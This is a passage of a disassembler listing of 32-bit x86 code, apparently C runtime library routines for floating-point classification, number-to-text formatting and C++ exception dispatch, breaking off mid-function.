		cmp	[ebp+arg_4], 0FFF00000h
		jnz	short loc_421F7A
		cmp	[ebp+arg_0], edx
		jnz	short loc_421F7A
		push	2
		jmp	short loc_421FA4
; ---------------------------------------------------------------------------


loc_421F7A:				; CODE XREF: sub_421F51+11j
					; sub_421F51+1Ej ...
		mov	ecx, [ebp+arg_4+2]
		mov	eax, 7FF8h
		and	ecx, eax
		cmp	cx, ax
		jnz	short loc_421F8D
		push	3
		jmp	short loc_421FA4
; ---------------------------------------------------------------------------


loc_421F8D:				; CODE XREF: sub_421F51+36j
		cmp	cx, 7FF0h
		jnz	short loc_421FA7
		test	[ebp+arg_4], 7FFFFh
		jnz	short loc_421FA2
		cmp	[ebp+arg_0], edx
		jz	short loc_421FA7


loc_421FA2:				; CODE XREF: sub_421F51+4Aj
		push	4


loc_421FA4:				; CODE XREF: sub_421F51+15j
					; sub_421F51+27j ...
		pop	eax
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_421FA7:				; CODE XREF: sub_421F51+41j
					; sub_421F51+4Fj
		xor	eax, eax
		pop	ebp
		retn
sub_421F51	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_421FAB(double,int)

sub_421FAB	proc near		; CODE XREF: sub_421BFF+160p

var_18		= qword	ptr -18h
var_8		= qword	ptr -8
arg_0		= qword	ptr  8
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		fld	[ebp+arg_0]
		fcomp	dbl_427860
		push	esi
		fnstsw	ax
		sahf
		jnz	short loc_421FCB
		fldz
		xor	esi, esi
		fstp	[ebp+var_8]
		jmp	loc_422061
; ---------------------------------------------------------------------------


loc_421FCB:				; CODE XREF: sub_421FAB+12j
		xor	ecx, ecx
		test	word ptr [ebp+arg_0+6],	7FF0h
		jnz	short loc_42203A
		test	dword ptr [ebp+arg_0+4], 0FFFFFh
		jnz	short loc_421FE3
		cmp	dword ptr [ebp+arg_0], ecx
		jz	short loc_42203A


loc_421FE3:				; CODE XREF: sub_421FAB+31j
		fld	[ebp+arg_0]
		fcomp	dbl_427860
		mov	esi, 0FFFFFC03h
		fnstsw	ax
		sahf
		jnb	short loc_421FFB
		push	1
		pop	eax
		jmp	short loc_421FFD
; ---------------------------------------------------------------------------


loc_421FFB:				; CODE XREF: sub_421FAB+49j
		xor	eax, eax


loc_421FFD:				; CODE XREF: sub_421FAB+4Ej
					; sub_421FAB+69j
		test	byte ptr [ebp+arg_0+6],	10h
		jnz	short loc_422016
		shl	dword ptr [ebp+arg_0+4], 1
		test	byte ptr [ebp+arg_0+3],	80h
		jz	short loc_422010
		or	dword ptr [ebp+arg_0+4], 1


loc_422010:				; CODE XREF: sub_421FAB+5Fj
		shl	dword ptr [ebp+arg_0], 1
		dec	esi
		jmp	short loc_421FFD
; ---------------------------------------------------------------------------


loc_422016:				; CODE XREF: sub_421FAB+56j
		and	word ptr [ebp+arg_0+6],	0FFEFh
		cmp	eax, ecx
		jz	short loc_422024
		or	byte ptr [ebp+arg_0+7],	80h


loc_422024:				; CODE XREF: sub_421FAB+73j
		fld	[ebp+arg_0]
		push	ecx		; int
		push	ecx
		push	ecx		; double
		fstp	[esp+18h+var_18]
		call	sub_421F28
		fstp	[ebp+var_8]
		add	esp, 0Ch
		jmp	short loc_422061
; ---------------------------------------------------------------------------


loc_42203A:				; CODE XREF: sub_421FAB+28j
					; sub_421FAB+36j
		fld	[ebp+arg_0]
		push	ecx		; int
		push	ecx
		push	ecx		; double
		fstp	[esp+18h+var_18]
		call	sub_421F28
		mov	eax, dword ptr [ebp+arg_0+6]
		add	esp, 0Ch
		fstp	[ebp+var_8]
		shr	eax, 4
		and	ax, 7FFh
		movsx	esi, ax
		sub	esi, 3FEh


loc_422061:				; CODE XREF: sub_421FAB+1Bj
					; sub_421FAB+8Dj
		mov	eax, [ebp+arg_8]
		fld	[ebp+var_8]
		mov	[eax], esi
		pop	esi
		leave
		retn
sub_421FAB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42206C	proc near		; CODE XREF: sub_42194C+F6p

var_2		= word ptr -2

		push	ebp
		mov	ebp, esp
		push	ecx
		fstsw	[ebp+var_2]
		movsx	eax, [ebp+var_2]
		leave
		retn
sub_42206C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42207A	proc near		; CODE XREF: sub_42194C+206p

var_2		= word ptr -2

		push	ebp
		mov	ebp, esp
		push	ecx
		fnstsw	[ebp+var_2]
		fnclex
		movsx	eax, [ebp+var_2]
		leave
		retn
sub_42207A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_422089	proc near		; CODE XREF: sub_41D055+13p
					; sub_41D055+5Dp ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		fstcw	word ptr [ebp+var_4]
		mov	eax, [ebp+arg_4]
		mov	ecx, eax
		and	eax, [ebp+arg_0]
		not	ecx
		and	ecx, [ebp+var_4]
		or	ecx, eax
		mov	[ebp+arg_4], ecx
		fldcw	word ptr [ebp+arg_4]
		movsx	eax, word ptr [ebp+var_4]
		leave
		retn
sub_422089	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4220AC	proc near		; CODE XREF: sub_421BFF+1Dp
					; sub_421BFF+37p ...

var_8		= qword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	cl, byte ptr [ebp+arg_0]
		test	cl, 1
		jz	short loc_4220C3
		fld	tbyte_43D408
		fistp	[ebp+arg_0]
		wait


loc_4220C3:				; CODE XREF: sub_4220AC+Bj
		test	cl, 8
		jz	short loc_4220D8
		fstsw	ax
		fld	tbyte_43D408
		fstp	[ebp+var_8]
		wait
		fstsw	ax


loc_4220D8:				; CODE XREF: sub_4220AC+1Aj
		test	cl, 10h
		jz	short loc_4220E7
		fld	tbyte_43D414
		fstp	[ebp+var_8]
		wait


loc_4220E7:				; CODE XREF: sub_4220AC+2Fj
		test	cl, 4
		jz	short loc_4220F5
		fldz
		fld1
		fdivrp	st(1), st
		fstp	st
		wait


loc_4220F5:				; CODE XREF: sub_4220AC+3Ej
		test	cl, 20h
		jz	short locret_422100
		fldpi
		fstp	[ebp+var_8]
		wait

locret_422100:				; CODE XREF: sub_4220AC+4Cj
		leave
		retn
sub_4220AC	endp


; =============== S U B	R O U T	I N E =======================================



sub_422102	proc near		; CODE XREF: sub_41D124+Fp
		push	30000h
		push	10000h
		call	sub_424865
		pop	ecx
		pop	ecx
		retn
sub_422102	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_422114	proc near		; CODE XREF: sub_422152:loc_422176j

var_18		= qword	ptr -18h
var_10		= qword	ptr -10h
var_8		= qword	ptr -8

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		fld	dbl_427870
		fstp	[ebp+var_8]
		fld	dbl_427868
		fstp	[ebp+var_10]
		fld	[ebp+var_10]
		fdiv	[ebp+var_8]
		fmul	[ebp+var_8]
		fsubr	[ebp+var_10]
		fstp	[ebp+var_18]
		fld	[ebp+var_18]
		fcomp	dbl_4276F8
		fnstsw	ax
		sahf
		jbe	short loc_42214E
		push	1
		pop	eax
		leave
		retn
; ---------------------------------------------------------------------------


loc_42214E:				; CODE XREF: sub_422114+33j
		xor	eax, eax
		leave
		retn
sub_422114	endp


; =============== S U B	R O U T	I N E =======================================



sub_422152	proc near		; CODE XREF: sub_41D124+5p
		push	offset aKernel32 ; "KERNEL32"
		call	near ptr 26B050Eh
		nop
		test	eax, eax
		jz	short loc_422176
		push	offset aIsprocessorfea ; "IsProcessorFeaturePresent"
		push	eax
		nop
		call	near ptr 26D0000h
		test	eax, eax
		jz	short loc_422176
		push	0
		call	eax ; sub_41D124
		retn
; ---------------------------------------------------------------------------


loc_422176:				; CODE XREF: sub_422152+Dj
					; sub_422152+1Dj
		jmp	sub_422114
sub_422152	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_42217B	proc near		; CODE XREF: sub_41FF3F+3CBp
					; DATA XREF: sub_41D13C+1Eo ...

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		movsx	eax, byte ptr [esi]
		push	eax
		call	sub_41DFEC
		cmp	eax, 65h
		pop	ecx
		jz	short loc_4221BB


loc_42218F:				; CODE XREF: sub_42217B+3Ej
		inc	esi
		cmp	dword_43D084, 1
		jle	short loc_4221A8
		movsx	eax, byte ptr [esi]
		push	4
		push	eax
		call	sub_41FDB5
		pop	ecx
		pop	ecx
		jmp	short loc_4221B7
; ---------------------------------------------------------------------------


loc_4221A8:				; CODE XREF: sub_42217B+1Cj
		movsx	eax, byte ptr [esi]
		mov	ecx, off_43CE78
		mov	al, [ecx+eax*2]
		and	eax, 4


loc_4221B7:				; CODE XREF: sub_42217B+2Bj
		test	eax, eax
		jnz	short loc_42218F


loc_4221BB:				; CODE XREF: sub_42217B+12j
		mov	cl, byte_43D088
		mov	al, [esi]
		mov	[esi], cl
		inc	esi


loc_4221C6:				; CODE XREF: sub_42217B+56j
		mov	cl, [esi]
		mov	[esi], al
		mov	al, cl
		mov	cl, [esi]
		inc	esi
		test	cl, cl
		jnz	short loc_4221C6
		pop	esi
		retn
sub_42217B	endp


; =============== S U B	R O U T	I N E =======================================



sub_4221D5	proc near		; CODE XREF: sub_41FF3F+3E2p
					; DATA XREF: sub_41D13C+5o ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	dl, byte_43D088
		mov	cl, [eax]
		test	cl, cl
		jz	short loc_4221F1


loc_4221E5:				; CODE XREF: sub_4221D5+1Aj
		cmp	cl, dl
		jz	short loc_4221F1
		mov	cl, [eax+1]
		inc	eax
		test	cl, cl
		jnz	short loc_4221E5


loc_4221F1:				; CODE XREF: sub_4221D5+Ej
					; sub_4221D5+12j
		mov	cl, [eax]
		inc	eax
		test	cl, cl
		jz	short locret_422222


loc_4221F8:				; CODE XREF: sub_4221D5+34j
		mov	cl, [eax]
		test	cl, cl
		jz	short loc_42220B
		cmp	cl, 65h
		jz	short loc_42220B
		cmp	cl, 45h
		jz	short loc_42220B
		inc	eax
		jmp	short loc_4221F8
; ---------------------------------------------------------------------------


loc_42220B:				; CODE XREF: sub_4221D5+27j
					; sub_4221D5+2Cj ...
		mov	ecx, eax


loc_42220D:				; CODE XREF: sub_4221D5+3Cj
		dec	eax
		cmp	byte ptr [eax],	30h
		jz	short loc_42220D
		cmp	[eax], dl
		jnz	short loc_422218
		dec	eax


loc_422218:				; CODE XREF: sub_4221D5+40j
					; sub_4221D5+4Bj
		mov	dl, [ecx]
		inc	eax
		inc	ecx
		test	dl, dl
		mov	[eax], dl
		jnz	short loc_422218

locret_422222:				; CODE XREF: sub_4221D5+21j
		retn
sub_4221D5	endp


; =============== S U B	R O U T	I N E =======================================



sub_422223	proc near		; DATA XREF: sub_41D13C+28o
					; ___:off_43D430o

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		fld	qword ptr [eax]
		fcomp	dbl_427860
		fnstsw	ax
		sahf
		jb	short loc_422238
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------


loc_422238:				; CODE XREF: sub_422223+Fj
		xor	eax, eax
		retn
sub_422223	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42223B	proc near		; CODE XREF: sub_420DB0+430p
					; DATA XREF: sub_41D13C+14o ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		cmp	[ebp+arg_0], 0
		push	[ebp+arg_8]
		jz	short loc_422264
		lea	eax, [ebp+var_8]
		push	eax
		call	sub_424D28
		mov	eax, [ebp+arg_4]
		pop	ecx
		pop	ecx
		mov	ecx, [ebp+var_8]
		mov	[eax], ecx
		mov	ecx, [ebp+var_4]
		mov	[eax+4], ecx
		leave
		retn
; ---------------------------------------------------------------------------


loc_422264:				; CODE XREF: sub_42223B+Cj
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_424D55
		mov	eax, [ebp+arg_4]
		pop	ecx
		pop	ecx
		mov	ecx, [ebp+arg_8]
		mov	[eax], ecx
		leave
		retn
sub_42223B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_422279	proc near		; CODE XREF: sub_4224F6+17p
					; sub_422540+47p

var_10		= qword	ptr -10h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		cmp	byte_4DBE5C, 0
		push	ebx
		push	esi
		jz	short loc_4222AE
		mov	ebx, [ebp+arg_8]
		mov	eax, dword_4DBE58
		xor	ecx, ecx
		mov	esi, eax
		test	ebx, ebx
		setnle	cl
		push	ecx
		xor	ecx, ecx
		cmp	dword ptr [eax], 2Dh
		setz	cl
		add	ecx, [ebp+arg_4]
		push	ecx
		call	sub_422591
		pop	ecx
		pop	ecx
		jmp	short loc_4222E6
; ---------------------------------------------------------------------------


loc_4222AE:				; CODE XREF: sub_422279+Cj
		mov	eax, [ebp+arg_0]
		push	ecx
		push	ecx
		fld	qword ptr [eax]
		fstp	[esp+10h+var_10]
		call	sub_424DF9
		mov	ebx, [ebp+arg_8]
		mov	esi, eax
		push	esi
		mov	edx, [ebp+arg_4]
		lea	eax, [ebx+1]
		push	eax
		xor	eax, eax
		cmp	dword ptr [esi], 2Dh
		setz	al
		xor	ecx, ecx
		test	ebx, ebx
		setnle	cl
		add	edx, eax
		add	ecx, edx
		push	ecx
		call	sub_424D82
		add	esp, 14h


loc_4222E6:				; CODE XREF: sub_422279+33j
		cmp	dword ptr [esi], 2Dh
		mov	eax, [ebp+arg_4]
		jnz	short loc_4222F2
		mov	byte ptr [eax],	2Dh
		inc	eax


loc_4222F2:				; CODE XREF: sub_422279+73j
		test	ebx, ebx
		jle	short loc_42230A
		mov	cl, [eax+1]
		push	edi
		lea	edi, [eax+1]
		mov	[eax], cl
		mov	cl, byte_43D088
		mov	eax, edi
		pop	edi
		mov	[eax], cl


loc_42230A:				; CODE XREF: sub_422279+7Bj
		xor	ecx, ecx
		push	offset aE000	; "e+000"
		cmp	byte_4DBE5C, cl
		setz	cl
		add	ecx, eax
		add	ecx, ebx
		push	ecx
		call	sub_41C890
		cmp	[ebp+arg_C], 0
		pop	ecx
		pop	ecx
		mov	ecx, eax
		jz	short loc_422331
		mov	byte ptr [ecx],	45h


loc_422331:				; CODE XREF: sub_422279+B3j
		mov	eax, [esi+0Ch]
		inc	ecx
		cmp	byte ptr [eax],	30h
		jz	short loc_422376
		mov	ebx, [esi+4]
		dec	ebx
		jns	short loc_422345
		neg	ebx
		mov	byte ptr [ecx],	2Dh


loc_422345:				; CODE XREF: sub_422279+C5j
		inc	ecx
		cmp	ebx, 64h
		jl	short loc_42235C
		mov	eax, ebx
		push	64h
		cdq
		pop	esi
		idiv	esi
		add	[ecx], al
		mov	eax, ebx
		cdq
		idiv	esi
		mov	ebx, edx


loc_42235C:				; CODE XREF: sub_422279+D0j
		inc	ecx
		cmp	ebx, 0Ah
		jl	short loc_422373
		mov	eax, ebx
		push	0Ah
		cdq
		pop	esi
		idiv	esi
		add	[ecx], al
		mov	eax, ebx
		cdq
		idiv	esi
		mov	ebx, edx


loc_422373:				; CODE XREF: sub_422279+E7j
		add	[ecx+1], bl


loc_422376:				; CODE XREF: sub_422279+BFj
		mov	eax, [ebp+arg_4]
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_422279	endp


; =============== S U B	R O U T	I N E =======================================



sub_42237D	proc near		; CODE XREF: sub_42251D+13p
					; sub_422540+1Ep

var_18		= qword	ptr -18h
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		cmp	byte_4DBE5C, 0
		push	ebx
		push	ebp
		mov	ebp, [esp+8+arg_4]
		push	esi
		push	edi
		jz	short loc_4223B8
		mov	eax, dword_4DBE60
		mov	ebx, [esp+10h+arg_8]
		mov	esi, dword_4DBE58
		cmp	eax, ebx
		jnz	short loc_4223E8
		xor	ecx, ecx
		cmp	dword ptr [esi], 2Dh
		setz	cl
		add	ecx, eax
		add	ecx, ebp
		mov	eax, ecx
		mov	byte ptr [eax],	30h
		and	byte ptr [eax+1], 0
		jmp	short loc_4223E8
; ---------------------------------------------------------------------------


loc_4223B8:				; CODE XREF: sub_42237D+Fj
		mov	eax, [esp+10h+arg_0]
		push	ecx
		push	ecx
		fld	qword ptr [eax]
		fstp	[esp+18h+var_18]
		call	sub_424DF9
		mov	ebx, [esp+18h+arg_8]
		mov	esi, eax
		push	esi
		mov	eax, [esi+4]
		add	eax, ebx
		push	eax
		xor	eax, eax
		cmp	dword ptr [esi], 2Dh
		setz	al
		add	eax, ebp
		push	eax
		call	sub_424D82
		add	esp, 14h


loc_4223E8:				; CODE XREF: sub_42237D+22j
					; sub_42237D+39j
		cmp	dword ptr [esi], 2Dh
		mov	edi, ebp
		jnz	short loc_4223F6
		mov	byte ptr [ebp+0], 2Dh
		lea	edi, [ebp+1]


loc_4223F6:				; CODE XREF: sub_42237D+70j
		mov	eax, [esi+4]
		test	eax, eax
		jg	short loc_42240D
		push	1
		push	edi
		call	sub_422591
		pop	ecx
		mov	byte ptr [edi],	30h
		pop	ecx
		inc	edi
		jmp	short loc_42240F
; ---------------------------------------------------------------------------


loc_42240D:				; CODE XREF: sub_42237D+7Ej
		add	edi, eax


loc_42240F:				; CODE XREF: sub_42237D+8Ej
		test	ebx, ebx
		jle	short loc_422454
		push	1
		push	edi
		call	sub_422591
		mov	al, byte_43D088
		pop	ecx
		mov	[edi], al
		mov	esi, [esi+4]
		inc	edi
		pop	ecx
		test	esi, esi
		jge	short loc_422454
		cmp	byte_4DBE5C, 0
		jz	short loc_422439
		neg	esi
		jmp	short loc_42243F
; ---------------------------------------------------------------------------


loc_422439:				; CODE XREF: sub_42237D+B6j
		neg	esi
		cmp	ebx, esi
		jl	short loc_422441


loc_42243F:				; CODE XREF: sub_42237D+BAj
		mov	ebx, esi


loc_422441:				; CODE XREF: sub_42237D+C0j
		push	ebx
		push	edi
		call	sub_422591
		push	ebx
		push	30h
		push	edi
		call	sub_41BF70
		add	esp, 14h


loc_422454:				; CODE XREF: sub_42237D+94j
					; sub_42237D+ADj
		pop	edi
		mov	eax, ebp
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_42237D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42245B	proc near		; CODE XREF: sub_422540+34p

var_14		= qword	ptr -14h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		push	ecx
		push	ecx
		fld	qword ptr [edi]
		fstp	[esp+14h+var_14]
		call	sub_424DF9
		mov	dword_4DBE58, eax
		mov	ecx, [eax+4]
		dec	ecx
		mov	ebx, [ebp+arg_8]
		mov	dword_4DBE60, ecx
		xor	ecx, ecx
		cmp	dword ptr [eax], 2Dh
		push	eax
		push	ebx
		setz	cl
		add	ecx, [ebp+arg_4]
		mov	esi, ecx
		push	esi
		call	sub_424D82
		mov	eax, dword_4DBE58
		add	esp, 14h
		mov	ecx, [eax+4]
		dec	ecx
		cmp	dword_4DBE60, ecx
		setl	cl
		mov	byte_4DBE64, cl
		mov	eax, [eax+4]
		dec	eax
		cmp	eax, 0FFFFFFFCh
		mov	dword_4DBE60, eax
		jl	short loc_4224E1
		cmp	eax, ebx
		jge	short loc_4224E1
		test	cl, cl
		jz	short loc_4224D2


loc_4224C8:				; CODE XREF: sub_42245B+72j
		mov	al, [esi]
		inc	esi
		test	al, al
		jnz	short loc_4224C8
		and	[esi-2], al


loc_4224D2:				; CODE XREF: sub_42245B+6Bj
		push	ebx
		push	[ebp+arg_4]
		push	edi
		call	sub_42251D
		add	esp, 0Ch
		jmp	short loc_4224F1
; ---------------------------------------------------------------------------


loc_4224E1:				; CODE XREF: sub_42245B+63j
					; sub_42245B+67j
		push	[ebp+arg_C]
		push	ebx
		push	[ebp+arg_4]
		push	edi
		call	sub_4224F6
		add	esp, 10h


loc_4224F1:				; CODE XREF: sub_42245B+84j
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_42245B	endp


; =============== S U B	R O U T	I N E =======================================



sub_4224F6	proc near		; CODE XREF: sub_42245B+8Ep

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	[esp+arg_C]
		mov	byte_4DBE5C, 1
		push	[esp+4+arg_8]
		push	[esp+8+arg_4]
		push	[esp+0Ch+arg_0]
		call	sub_422279
		and	byte_4DBE5C, 0
		add	esp, 10h
		retn
sub_4224F6	endp


; =============== S U B	R O U T	I N E =======================================



sub_42251D	proc near		; CODE XREF: sub_42245B+7Cp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	[esp+arg_8]
		mov	byte_4DBE5C, 1
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	sub_42237D
		and	byte_4DBE5C, 0
		add	esp, 0Ch
		retn
sub_42251D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_422540	proc near		; CODE XREF: sub_41FF3F+3AAp
					; DATA XREF: sub_41D13Co ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_8], 65h
		jz	short loc_42257B
		cmp	[ebp+arg_8], 45h
		jz	short loc_42257B
		cmp	[ebp+arg_8], 66h
		jnz	short loc_422568
		push	[ebp+arg_C]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_42237D
		add	esp, 0Ch
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_422568:				; CODE XREF: sub_422540+13j
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_42245B
		jmp	short loc_42258C
; ---------------------------------------------------------------------------


loc_42257B:				; CODE XREF: sub_422540+7j
					; sub_422540+Dj
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_422279


loc_42258C:				; CODE XREF: sub_422540+39j
		add	esp, 10h
		pop	ebp
		retn
sub_422540	endp


; =============== S U B	R O U T	I N E =======================================



sub_422591	proc near		; CODE XREF: sub_422279+2Cp
					; sub_42237D+83p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	edi
		mov	edi, [esp+4+arg_4]
		test	edi, edi
		jz	short loc_4225B4
		push	esi
		mov	esi, [esp+8+arg_0]
		push	esi
		call	sub_41B9C0
		inc	eax
		push	eax
		push	esi
		add	esi, edi
		push	esi
		call	sub_41D670
		add	esp, 10h
		pop	esi


loc_4225B4:				; CODE XREF: sub_422591+7j
		pop	edi
		retn
sub_422591	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4225B6	proc near		; CODE XREF: ___:0041D31Cp
					; sub_41D385+1Bp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		push	esi
		mov	esi, [ebp+arg_10]
		push	edi
		mov	edi, 19930520h
		cmp	[esi], edi
		jz	short loc_4225CC
		call	sub_422E52


loc_4225CC:				; CODE XREF: sub_4225B6+Fj
		mov	eax, [ebp+arg_0]
		test	byte ptr [eax+4], 66h
		jz	short loc_4225F4
		cmp	dword ptr [esi+4], 0
		jz	short loc_42264A
		cmp	[ebp+arg_14], 0
		jnz	short loc_42264A
		push	0FFFFFFFFh
		push	esi
		push	[ebp+arg_C]
		push	[ebp+arg_4]
		call	sub_4228FD
		add	esp, 10h
		jmp	short loc_42264A
; ---------------------------------------------------------------------------


loc_4225F4:				; CODE XREF: sub_4225B6+1Dj
		cmp	dword ptr [esi+0Ch], 0
		jz	short loc_42264A
		cmp	dword ptr [eax], 0E06D7363h
		jnz	short loc_42262E
		cmp	[eax+14h], edi
		jbe	short loc_42262E
		mov	ecx, [eax+1Ch]
		mov	ecx, [ecx+8]
		test	ecx, ecx
		jz	short loc_42262E
		movzx	edx, byte ptr [ebp+arg_1C]
		push	edx
		push	[ebp+arg_18]
		push	[ebp+arg_14]
		push	esi
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	eax
		call	ecx
		add	esp, 20h
		jmp	short loc_42264D
; ---------------------------------------------------------------------------


loc_42262E:				; CODE XREF: sub_4225B6+4Aj
					; sub_4225B6+4Fj ...
		push	[ebp+arg_18]
		push	[ebp+arg_14]
		push	[ebp+arg_1C]
		push	esi
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	eax
		call	sub_422651
		add	esp, 20h


loc_42264A:				; CODE XREF: sub_4225B6+23j
					; sub_4225B6+29j ...
		push	1
		pop	eax


loc_42264D:				; CODE XREF: sub_4225B6+76j
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_4225B6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_422651	proc near		; CODE XREF: sub_4225B6+8Cp

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= byte ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		mov	eax, [ebp+arg_4]
		and	byte ptr [ebp+var_14], 0
		mov	eax, [eax+8]
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_10], eax
		jl	short loc_422671
		mov	ecx, [ebp+arg_10]
		cmp	eax, [ecx+4]
		jl	short loc_422676


loc_422671:				; CODE XREF: sub_422651+16j
		call	sub_422E52


loc_422676:				; CODE XREF: sub_422651+1Ej
		push	ebx
		push	esi
		mov	esi, [ebp+arg_0]
		mov	ebx, 0E06D7363h
		push	edi
		mov	edi, 19930520h
		cmp	[esi], ebx
		jnz	loc_4227CD
		cmp	dword ptr [esi+10h], 3
		jnz	short loc_4226EA
		cmp	[esi+14h], edi
		jnz	short loc_4226EA
		cmp	dword ptr [esi+1Ch], 0
		jnz	short loc_4226EA
		mov	esi, dword_4DBE68
		test	esi, esi
		jz	loc_4227C8
		mov	eax, dword_4DBE6C
		push	1
		push	esi
		mov	[ebp+arg_8], eax
		mov	byte ptr [ebp+var_14], 1
		call	sub_424F80
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4226CC
		call	sub_422E52


loc_4226CC:				; CODE XREF: sub_422651+74j
		cmp	[esi], ebx
		jnz	loc_4227CD
		cmp	dword ptr [esi+10h], 3
		jnz	short loc_4226EA
		cmp	[esi+14h], edi
		jnz	short loc_4226EA
		cmp	dword ptr [esi+1Ch], 0
		jnz	short loc_4226EA
		call	sub_422E52


loc_4226EA:				; CODE XREF: sub_422651+41j
					; sub_422651+46j ...
		cmp	[esi], ebx
		jnz	loc_4227CD
		cmp	dword ptr [esi+10h], 3
		jnz	loc_4227CD
		cmp	[esi+14h], edi
		jnz	loc_4227CD
		mov	edi, [ebp+var_10]
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	edi
		push	[ebp+arg_18]
		push	[ebp+arg_10]
		call	sub_41D4D3
		add	esp, 14h
		mov	ebx, eax


loc_422721:				; CODE XREF: sub_422651+162j
		mov	eax, [ebp+var_4]
		cmp	eax, [ebp+var_18]
		jnb	loc_4227B8
		cmp	[ebx], edi
		jg	short loc_4227AD
		cmp	edi, [ebx+4]
		jg	short loc_4227AD
		mov	eax, [ebx+10h]
		mov	[ebp+arg_0], eax
		mov	eax, [ebx+0Ch]
		test	eax, eax
		mov	[ebp+var_C], eax
		jle	short loc_4227AA


loc_422746:				; CODE XREF: sub_422651+131j
		mov	eax, [esi+1Ch]
		mov	eax, [eax+0Ch]
		lea	edi, [eax+4]
		mov	eax, [eax]
		test	eax, eax
		mov	[ebp+var_8], eax
		jle	short loc_422777


loc_422758:				; CODE XREF: sub_422651+124j
		push	dword ptr [esi+1Ch]
		push	dword ptr [edi]
		push	[ebp+arg_0]
		call	sub_4228A0
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_422786
		dec	[ebp+var_8]
		add	edi, 4
		cmp	[ebp+var_8], eax
		jg	short loc_422758


loc_422777:				; CODE XREF: sub_422651+105j
		dec	[ebp+var_C]
		add	[ebp+arg_0], 10h
		cmp	[ebp+var_C], 0
		jg	short loc_422746
		jmp	short loc_4227AA
; ---------------------------------------------------------------------------


loc_422786:				; CODE XREF: sub_422651+119j
		push	[ebp+var_14]
		push	[ebp+arg_1C]
		push	[ebp+arg_18]
		push	ebx
		push	dword ptr [edi]
		push	[ebp+arg_0]
		push	[ebp+arg_10]
